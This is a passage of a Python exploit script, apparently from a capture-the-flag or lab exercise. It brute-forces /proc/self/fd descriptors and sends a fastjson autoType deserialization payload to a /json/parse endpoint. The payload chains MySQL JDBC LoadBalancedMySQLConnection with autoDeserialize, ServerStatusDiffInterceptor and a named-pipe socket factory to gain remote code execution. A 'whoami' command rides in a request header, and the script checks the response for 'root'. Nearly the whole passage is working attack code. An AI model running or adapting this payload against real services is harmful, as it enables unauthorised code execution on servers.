| 38 | |
| 39 | |
| 40 | def exp(): |
| 41 | url = f"http://{HOST}:{PORT}/json/parse" |
| 42 | headers = { |
| 43 | "Host": "127.0.0.1:8080", |
| 44 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0", |
| 45 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", |
| 46 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", |
| 47 | "X-Authorization": "whoami", |
| 48 | "Content-Type": "application/json", |
| 49 | } |
| 50 | for fd in range(20, 101): |
| 51 | print(f"当前爆破到fd: {fd}") |
| 52 | named_pipe_path = f"/proc/self/fd/{fd}" |
| 53 | payload = { |
| 54 | "@type": "java.lang.AutoCloseable", |
| 55 | "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", |
| 56 | "proxy": { |
| 57 | "connectionString": { |
| 58 | "url": f"jdbc:mysql://xxx/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath={named_pipe_path}" |
| 59 | } |
| 60 | }, |
| 61 | } |
| 62 | payload_json = json.dumps(payload).encode("utf-8") |
| 63 | headers["Content-Length"] = str(len(payload_json)) |
| 64 | try: |
| 65 | response = requests.post(url, headers=headers, data=payload_json, timeout=5) |
| 66 | # 检查响应中是否包含"root" |
| 67 | if "root" in response.text: |
| 68 | print("\n========== 命中目标 ==========") |
| 69 | print(f"请求体: {json.dumps(payload, indent=2)}") |
| 70 | print(f"响应内容: {response.text}") |
| 71 | print("==============================") |
| 72 | # 终止爆破 |
| 73 | break |
| 74 | except Exception: |
| 75 | continue |
| 76 | |
| 77 | |
| 78 | threading.Thread(target=cache_tmp).start() |